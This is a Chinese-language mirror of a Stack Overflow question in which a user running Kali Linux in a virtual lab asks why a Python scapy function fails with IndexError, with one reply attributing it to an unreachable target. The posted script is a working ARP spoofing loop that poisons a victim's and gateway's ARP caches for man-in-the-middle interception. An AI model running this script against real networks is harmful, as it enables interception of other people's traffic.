首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法获取mac地址- Kali Linux

无法获取mac地址- Kali Linux
EN

Stack Overflow用户
提问于 2020-05-30 21:04:20
回答 1查看 254关注 0票数 0

这是我用来获取mac地址的代码,如果我获取的是ip= 10.0.2.1的mac地址,它可以正常工作,但如果我尝试获取10.0.2.7的mac地址,它会显示列表索引越界异常,但是我在虚拟机中使用kali linux,在虚拟机中也使用Windows10,而虚拟机的ip是10.0.2.7。

代码语言:javascript
复制
#!/usr/bin/env python

import scapy.all as scapy
import time


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)


while True:
    spoof("10.0.2.7", "10.0.2.1")
    spoof("10.0.2.1", "10.0.2.7")
    time.sleep(2)

下面是我在终端上得到的输出:

代码语言:javascript
复制
root@kali:~/PycharmProjects/arp_spoof# python3 arp_spoof.py 
Traceback (most recent call last):
  File "arp_spoof.py", line 22, in <module>
    spoof("10.0.2.7", "10.0.2.1")
  File "arp_spoof.py", line 16, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 12, in get_mac
    return  answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range
root@kali:~/PycharmProjects/arp_spoof# 
EN

回答 1

Stack Overflow用户

发布于 2020-06-04 07:37:27

如果不能到达目标ip,scapy.ARP会返回一个空的scapy.plist.SndRcvList对象。

我已经在我的网络中试用了get_mac,它工作得很好。

您的机器是否在同一网络中?

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/62175162

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档